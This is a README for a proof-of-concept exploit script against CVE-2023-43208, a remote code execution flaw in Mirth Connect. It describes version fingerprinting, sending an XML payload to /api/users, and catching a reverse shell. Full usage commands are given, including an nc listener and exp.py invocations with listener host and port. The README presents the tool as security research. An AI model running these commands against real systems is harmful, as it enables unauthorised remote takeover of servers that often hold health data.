CVE-2023-43208 Mirth Connect RCE PoC

Proof-of-concept Python script targeting CVE-2023-43208 in Mirth Connect.

Disclaimer

Use only in environments you own or are explicitly authorized to test. This repository is for security research, validation, and defensive testing. The author assumes no responsibility for any misuse or damage caused by this tool.

Overview

exp.py is a minimal-dependency version of PoC that:

• Detects whether a target appears to be a Mirth Connect instance
• Requests the Mirth Connect version from /api/server/version
• Checks whether the version is lower than 4.4.1
• Sends an XML payload to /api/users if the target appears vulnerable

The script defaults to HTTPS and can be switched to HTTP with --http.

Usage

python3 exp.py -u <target> -lh <listener_host> -lp <listener_port> [--http]

Arguments

• -u, --url: Target Mirth Connect URL or host
• -lh, --lhost: Local host/IP for the reverse connection
• -lp, --lport: Local listening port
• --http: Force HTTP instead of HTTPS (default is HTTPS)

Example

Start a listener first:

nc -lvnp 4444

Run the script:

python3 exp.py -u https://target.example.com -lh 192.168.1.10 -lp 4444

For an HTTP-only target:

python3 exp.py -u target.example.com -lh 192.168.1.10 -lp 4444 --http

Notes

• SSL certificate verification is disabled in the script.
• The script prompts for confirmation before sending the payload.
• Version detection is based on semantic comparison against 4.4.1.
• A target that is detected as Mirth Connect is not guaranteed to be exploitable (network, environment, and runtime differences may affect results).

Credits

• Original vulnerability discovery: IHTeam
• Original code: K3ysTr0K3R and Chocapikk
• Minimal dependency version: predyy